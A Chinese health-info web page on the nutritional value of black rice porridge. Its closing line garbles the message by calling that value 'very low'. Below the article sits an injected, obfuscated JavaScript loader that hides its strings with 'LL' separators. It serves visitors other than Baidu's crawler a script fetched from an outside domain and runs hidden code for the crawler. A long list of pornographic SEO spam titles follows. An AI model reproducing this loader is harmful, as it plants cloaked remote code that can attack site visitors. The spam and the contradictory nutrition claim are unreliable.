當前位置:首頁 > 飲食 > 食物營養 > 正文

黑米粥的營養價值有哪些?

2017-07-07 09:34:05  來源:360常識網   熱度:
導語:在我們的生活中很多的朋友都比較喜歡喝粥,粥的營養豐富,對我們的身體健康有非常好的作用也很利于我們的消化和吸收。那么在生活中黑米粥大

在我們的生活中很多的朋友都比較喜歡喝粥,粥的營養豐富,對我們的身體健康有非常好的作用也很利于我們的消化和吸收。那么在生活中黑米粥大家并不陌生很多的朋友也比較喜歡,那么具體的來講黑米對我們的身體健康有哪些好的價值呢?今天小編就為大家詳細的來說一說吧!

黑米含蛋白質、碳水化合物、B族維生素、維生素E、鈣、磷、鉀、鎂、鐵、鋅等營養元素,營養豐富。

黑米所含錳、鋅、銅等無機鹽大都比大米高1~3倍;更含有大米所缺乏的維生素C、葉綠素、花青素、胡蘿卜素及強心甙等特殊成分,因而黑米比普通大米更具營養。

黑米外皮層中含有花青素類色素,這種色素本身具有很強的抗衰老作用。國內外研究表明,米的顏色越深,則表皮色素的抗衰老效果越強,黑米色素的作用在各種顏色的米中是最強的。

此外,這種色素中還富含黃酮活性物質,是白米的5倍之多,對預防動脈硬化有很大的作用。黑米中含膳食纖維較多,淀粉消化速度比較慢,血糖指數僅有55(白米飯為87),因此,吃黑米不會像吃白米那樣造成血糖的劇烈波動。

黑米中的鉀、鎂等礦物質還有利于控制血壓、減少患心腦血管疾病的風險,所以,糖尿病人和心血管疾病患者可以把食用黑米作為膳食調養的一部分。

通過上面的介紹,大家現在應該清楚了黑米的營養價值非常低,在生活中我們常吃黑米對健康來說,可是有非常好的作用。所以大家在家里趕快制作一些黑米粥來喝吧!

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲国产成人精品91久久久| 精品少妇一区二区三区视频| 91亚洲国产成人久久精品网址 | 老司机免费午夜精品视频| 久久精品7亚洲午夜a| 色婷婷噜噜久久国产精品12p| 精品丝袜国产自在线拍亚洲| 国产精品186在线观看在线播放| 国产精品成人无码免费| 国产精品一久久香蕉产线看| 国产精品丝袜黑色高跟鞋| www国产亚洲精品久久久日本| 国产精品美女在线观看| 99re6这里只有精品视频| 国内精品久久久久久麻豆| 国产精品无码一区二区三区免费 | 国产精品户外野外| 国产精品乱码一区二区三| 亚洲自偷精品视频自拍| 日本一区二区三区精品中文字幕| 国产精品成人99久久久久91gav| 色综合91久久精品中文字幕| 亚洲av专区无码观看精品天堂| 国产精品国产三级国产av品爱网| 国产成人1024精品免费| 国产精品无码翘臀在线观看| 精品毛片乱码1区2区3区| 国产92成人精品视频免费| 99re热久久这里只有精品6| 久久91精品国产91久久户| 国产精品成人小电影在线观看| 国产最新精品视频| 国产精品无码2021在线观看| 98视频精品全部国产| 精品少妇无码AV无码专区| 久久精品国产清白在天天线| 国产亚洲精品资源在线26u| 国产高清精品在线| jizz国产精品网站| 精品国精品自拍自在线| 国产精品四虎在线观看免费|